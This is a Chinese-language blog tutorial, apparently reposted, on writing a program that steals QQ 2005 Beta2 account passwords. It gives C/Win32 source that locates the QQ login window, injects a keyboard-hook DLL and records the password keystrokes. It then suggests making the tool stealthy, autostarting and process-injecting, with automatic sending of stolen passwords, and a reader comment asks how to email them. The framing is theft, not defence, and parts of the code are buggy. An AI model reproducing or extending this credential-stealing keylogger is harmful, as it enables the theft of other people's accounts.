zoukankan      html  css  js  c++  java
  • 编程实现盗2005 Beta2版QQ

    一、思路分析

      (一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;
    二、 实现过程 
      (一) 定义宏 
      (二) 枚举进程找到QQ.exe 
      (三) 枚举所有窗口,找属于QQ.exe的窗口 
      (四) 获取用户名、密码、登陆按钮的句柄 
      (五) 创建钩子用的DLL 
      (六) 安装钩子

      一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下:
     


      本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。

      一、 思路分析
      一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。

      (一) 数据包的角度
      从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。

      (二) 钩子角度
      平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。

     1. 钩子简介
      钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图:


      2. 程序流程
      Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图:
     


       从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图:

      

    二、 实现过程
      有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的关键代码:

      (一) 定义宏
      //QQ登陆框正常情况下的风格
      #define QQLoginDlgNormalStyle  0x94CA00C4
      //QQ登陆框最小化时的风格
      #define QQLoginDlgMiniStyle  0xB4CA00C4
      //用户名下拉控件的ID
      #define QQLoginUserNameId  0x0000008A
      //密码控件文本框的ID
      #define QQLoginPasswordId  0x000000B4
      //登陆按扭的ID
      #define QQLoginButtonId         0x00003EA0

      (二) 枚举进程找到QQ.exe
      //定义PROCESSENTRY32结构
       PROCESSENTRY32 pe;
       pe.dwSize = sizeof(pe); 
       HANDLE hProcessSnap;
       //所有进程快照
       hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
       if(hProcessSnap == INVALID_HANDLE_VALUE)
       {
          printf("进程快照失败!/n");
          return -1;
       }
       BOOL bRet;
       //遍历进程快照,轮流显示每个进程的信息
       bRet = Process32First(hProcessSnap,&pe);
       while(bRet)
       {
          //pe.szExeFile保存的值为进程对应的可执行文件名
          if(strcmp(pe.szExeFile,"QQ.exe") ==0) 
        { 
          //这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。
         BOOL bRet;
         //枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
         bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
         if(bRet == FALSE)
         {
          printf("枚举所有窗口失败!/n");
          return -1;
         }
      }
      }  
      这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。

    (三) 枚举所有窗口,找属于QQ.exe的窗口
      BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
      {
       if(hwnd == NULL)
       {
        return FALSE;
       }
       //QQ.exe的ID
       DWORD dwQQProcessID;
       dwQQProcessID = (DWORD)lParam;
       GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID); 
       //如果创建QQ.exe的进程等于创建窗口的进程 
       if(dwQQProcessID == dwCreateWindowProcessID)
       {
        LONG lWindowStyle;
        //找到窗口的风格
        lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);  
        //如果条件成立,表示当前窗口为登陆窗口
        if(lWindowStyle == QQLoginDlgNormalStyle ||
         lWindowStyle == QQLoginDlgMiniStyle)
        { 
         //保存登陆窗口的句柄
         hLoginWindow = hwnd;  
        } 
       } 
       return TRUE;
      }
      该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。

      (四) 获取用户名、密码、登陆按钮的句柄
      BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
      {
       if(hwnd == FALSE)
       {
        return FALSE;
       }
       LONG  lID;
       //取得所有子窗口的ID
       lID = GetWindowLong(hwnd, GWL_ID);
       //该句表示找到用户名的句柄
       if(lID == QQLoginUserNameId)
       {  
        hUserName = hwnd; 
       }
       else if(lID == QQLoginPasswordId)
       {
        hUserPwd = hwnd;
       }
       else if(lID == QQLoginButtonId)
       {
        hLoginButton = hwnd; 
       }
       return TRUE;
      }

      注意:以上回调函数用到了三个变量,别忘了在顶部定义哦!

      //用户名、密码、登陆按钮的句柄
      HWND hUserName;
      HWND hUserPwd;
      HWND hLoginButton;

     (五) 创建钩子用的DLL
      1. 申明函数
      新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:
      #define QQHookLIB_API __declspec(dllexport)
      //声明要导出的函数
      //安装键盘钩子函数         
      BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
               HMODULE hDll,
               HWND hLoginWindow,
               HWND hUserName,
               HWND hUserPwd,
               HWND hLoginButton,
               DWORD dwCreateWindowProcessID);

      2. 申明共享数据段以及导出函数
      选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:
      EXPORTS

       SetKeyBoardHook
      SECTIONS
       QQSpyShare Read Write Shared
      这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。

      3. DLL主要代码
      接下来在QQHook.cpp文件中添加如下代码:

      //共享数据段,注意要初始化
      #pragma data_seg("QQSpyShare")
      HWND  g_hLoginWindowWnd = NULL; //QQ主窗口句柄
      HHOOK g_hMessageHook = NULL;  //消息钩子句柄
      HHOOK g_hKeyBoardHook = NULL;  //键盘钩子句柄
      HWND hQQLoginUserName = NULL;
      HWND hQQLoginUserPwd = NULL;
      HWND hQQLoginButton = NULL;
      #pragma data_seg()

      //安装键盘钩子函数          
      BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
               HMODULE hDll,
               HWND hLoginWindow,
               HWND hUserName,
               HWND hUserPwd,
               HWND hLoginButton,
               DWORD dwCreateWindowProcessID)
      {
       BOOL bResult;

       if(bInstall)
       { 
        //保存用户名的句柄
        hQQLoginUserName = hUserName;
        //保存密码的句柄
        hQQLoginUserPwd = hUserPwd; 
        //保存登陆QQ按钮的句柄
        hQQLoginButton = hLoginButton;
        //保存登陆窗口的句柄
        g_hLoginWindowWnd = hLoginWindow;
        //登陆窗口的主线程,安装钩子的时候要用
        DWORD dwCreateLoginWindowThreadId;
        dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);  
        //在登陆窗口主线程上安装钩子
        g_hKeyBoardHook = SetWindowsHookEx(
         WH_KEYBOARD,     //安装键盘钩子
         (HOOKPROC)KeyBoardProc,   //键盘钩子回调函数
         hDll,        //QQHook.dll模块句柄
         dwCreateLoginWindowThreadId);   //登陆窗口的主线程

        if(g_hKeyBoardHook == NULL)
        {
         printf("键盘钩子安装失败!");
         return FALSE;
        }
        else
        {
         printf("键盘钩子安装成功了!");
         return TRUE;
        }
      
       }
       else
       {
        //卸载钩子
        bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
        if(bResult == TRUE)
        {
         printf("键盘钩子卸载成功!");
         return TRUE;
        }
        else
        {
         printf("键盘钩子卸载失败!");
         return FALSE;
        }
       }
       return TRUE;
      }

      以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码:

    //键盘钩子回调函数
      LRESULT CALLBACK KeyBoardProc(int ncode,
              WPARAM wParam,
              LPARAM lParam
              )
      {
       //创建一个缓冲区保存连起来的密码
       static char buf[250] = {0};
       //用于保存用户名框的内容
       char cUserName[10];
       ZeroMemory(cUserName, 10);
       //用于保存用户在密码框上的每一个按键
       char cUserPwd[30];
       //如果按的键是回车键
       if (wParam == VK_RETURN && lParam > 0)
       {
        //得到用户名的值保存在cUserName中,密码框的值不能通过这种方法获得
        SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
       }

       //如果不是按回车,并且是在密码框中输入
       if (lParam > 0 && wParam != VK_RETURN &&
        //当前输入框为密码框
        hQQLoginUserPwd == GetFocus())
       {
        //记下密码框中输入的字符
        GetKeyNameText(lParam, cUserPwd, 30);

        //以下代码把每一次按的键连起来形成一个完整的密码
        static int index = 0;
        if(index == 0)
        {
         if(strcmp(cUserPwd,"Num 1") == 0)
         {
          strcpy(buf,"1");
         }
         else if(strcmp(cUserPwd,"Num 2") == 0)
         {
          strcpy(buf,"2");   
         }
         else if(strcmp(cUserPwd,"Num 3") == 0)
         {
          strcpy(buf,"3");   
         }
         else if(strcmp(cUserPwd,"Num 4") == 0)
         {
          strcpy(buf,"4");   
         }
         else if(strcmp(cUserPwd,"Num 5") == 0)
         {
          strcpy(buf,"5");   
         }
         else if(strcmp(cUserPwd,"Num 6") == 0)
         {
          strcpy(buf,"6");   
         }
         else if(strcmp(cUserPwd,"Num 7") == 0)
         {
          strcpy(buf,"7");   
         }
         else if(strcmp(cUserPwd,"Num 8") == 0)
         {
          strcpy(buf,"8");   
         }
         else if(strcmp(cUserPwd,"Num 9") == 0)
         {
          strcpy(buf,"9");   
         }
         else if(strcmp(cUserPwd,"Num 0") == 0)
         {
          strcpy(buf,"0");   
         }
         else
         {
          strcpy(buf,cUserPwd);
         }
        }
        else
        {
         if(strcmp(cUserPwd,"Num 1") == 0)
         {
          strcat(buf,"1");
         }
         else if(strcmp(cUserPwd,"Num 2") == 0)
         {
          strcat(buf,"2");   
         }
         else if(strcmp(cUserPwd,"Num 3") == 0)
         {
          strcat(buf,"3");   
         }
         else if(strcmp(cUserPwd,"Num 4") == 0)
         {
          strcat(buf,"4");   
         }
         else if(strcmp(cUserPwd,"Num 5") == 0)
         {
          strcat(buf,"5");   
         }
         else if(strcmp(cUserPwd,"Num 6") == 0)
         {
          strcat(buf,"6");   
         }
         else if(strcmp(cUserPwd,"Num 7") == 0)
         {
          strcat(buf,"7");   
         }
         else if(strcmp(cUserPwd,"Num 8") == 0)
         {
          strcat(buf,"8");   
         }
         else if(strcmp(cUserPwd,"Num 9") == 0)
         {
          strcat(buf,"9");   
         }
         else if(strcmp(cUserPwd,"Num 0") == 0)
         {
          strcat(buf,"0");   
         }
         else
         {
          strcat(buf,cUserPwd);
         }
        }
        ++index;
       }

       //如果按的是回车,将上面得到的用户名和密码连在一起显示
       if (wParam == VK_RETURN && lParam > 0)
       {
        char cAccount;
        strcpy(&cAccount,"用户名:");
        strcat(&cAccount,cUserName);
        strcat(&cAccount,"/n密  码:");
        strcat(&cAccount,buf);
        strcat(&cAccount,"/nBy:∮明天去要饭");
        //cAccount中保存了用户名和密码,想怎么处理就怎么处理
        MessageBox(NULL,&cAccount,"QQ帐号:",MB_OK);
        return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
       }
       return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
      }

      这里需要注意以下几个问题:
      1. 回调函数相当于是QQ.exe的函数,所以在DLL中的变量值如果想在回调函数中用,需要把变量定义在共享数据段中,这样才能被回调函数执行。

      2. 定义的变量index之所以要定义成static,是因为index要保持上一次运行的值,也就是说index只能被初始化一次。static char buf[250] = {0}这一句也是一个道理。当用户在QQ登陆窗口的密码框中输东西时,就会执行该回调函数,该回调函数每一次记下的值只是一个键盘按键,只有将按键连起来才是一个密码。

      3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要对得到的按键进行处理。

      4. 从这个回调函数可以知道,如果用户在输密码的时候后退了,或是删除了密码再继续输入,那么记录下来的内容将是不准确的。另外,当用户输入的是小写字母的时候,显示出来的值会是大写字母,这也是一个BUG,不过盗QQ程序的原理就是这样了。

    (六) 申明导出函数

      (七) 安装钩子
      上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。
         //用户名、密码、登陆按钮的句柄都不为空时安装钩子
         if(hUserName != NULL &&
          hUserPwd != NULL &&
          hLoginButton != NULL)
         {
          //得到DLL模块的句柄
          hDll = GetModuleHandle("QQHook.dll");
          if(hDll == NULL)
          {
           return FALSE;
          }
          //安装键盘钩子
          bKeyBoardHook = SetKeyBoardHook(
           TRUE,
           hDll,
           hLoginWindow,
           hUserName,
           hUserPwd,
           hLoginButton,
           dwCreateWindowProcessID);    
          if(bKeyBoardHook == FALSE)
          {
           printf("调用键盘钩子失败!");
           return FALSE;
          }
         }

      以上就是盗QQ程序的关键代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:
      1. 改进记录密码的代码。
      2. 加入对鼠标点击“登录QQ”进行HOOK的代码。
      3. 设置成自动启动。
      4. 注入到别的进程中。
      5. 运行的时候没有界面,记录下来后自动发送密码。

     怎么把记录的结果发到邮箱里?

    这个是比较难解决的,我几乎搜遍了网上发信的代码,但只找到一个能用的,现在也不能发信了,那位大虾对发邮件比较熟悉,用VC实现的,帮帮小弟弟!!!

  • 相关阅读:
    springMVC学习 十二 拦截器
    SpringMVC 学习 十一 springMVC控制器向jsp或者别的控制器传递参数的四种方法
    SpringMVC 学习 十 SSM环境搭建(三)springMVC文件配置
    iconfont 在项目中的简单使用
    CSS实现带阴影效果的三角形
    前端以数组的方式传参
    JQuery的ajaxFileUpload的使用
    layer弹出层的关闭问题
    e.target与事件委托简例
    SpringBoot项目在IntelliJ IDEA中实现热部署(简单方式)
  • 原文地址:https://www.cnblogs.com/mtcnn/p/9410237.html
Copyright © 2011-2022 走看看